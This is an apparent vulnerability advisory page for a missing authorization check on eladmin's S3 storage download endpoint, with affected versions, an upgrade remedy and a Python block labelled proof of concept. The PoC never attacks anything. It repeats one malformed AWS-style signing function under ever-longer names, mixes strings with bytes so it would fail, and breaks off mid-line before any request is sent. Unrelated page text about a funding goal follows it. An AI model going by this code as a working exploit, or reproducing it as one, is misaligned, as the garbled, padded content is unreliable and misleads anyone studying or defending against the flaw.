eladmin S3 Storage Download Endpoint Missing Authorization Vulnerability

eladmin S3 Storage Download Endpoint Missing Authorization Vulnerability (Commit 55fb70) Vulnerability Overview eladmin has a vulnerability where the S3 storage download endpoint lacks proper authorization controls. Affected Versions eladmin versions prior to 2.7 Remediation Upgrade eladmin to version 2.7 or later. POC Code ```python import requests import sys import json import time import random import string import os import base64 import hashlib import hmac import urllib.parse def get_signature(key, message): return hmac.new(key.encode('utf-8'), message.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature(key, string_to_sign): return hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query_and_host(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query_and_host_and_content_type(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query_and_host_and_content_type_and_content_sha256(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query_and_host_and_content_type_and_content_sha256_and_x_amz_content_sha256(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode('utf-8'), digestmod=hashlib.sha256).digest() k_region = hmac.new((region + k_date).encode('utf-8'), digestmod=hashlib.sha256).digest() k_service = hmac.new((service + k_region).encode('utf-8'), digestmod=hashlib.sha256).digest() k_signing = hmac.new(('aws4_request' + k_service).encode('utf-8'), digestmod=hashlib.sha256).digest() return hmac.new(k_signing, string_to_sign.encode('utf-8'), hashlib.sha256).hexdigest() def get_aws_signature_v4_with_path_and_query_and_host_and_content_type_and_content_sha256_and_x_amz_content_sha256_and_x_amz_date(key, date_stamp, region, service, string_to_sign): k_date = hmac.new((date_stamp + key).encode

Goal Reached Thanks to every supporter — we hit 100%!

eladmin S3 Storage Download Endpoint Missing Authorization Vulnerability

More from this source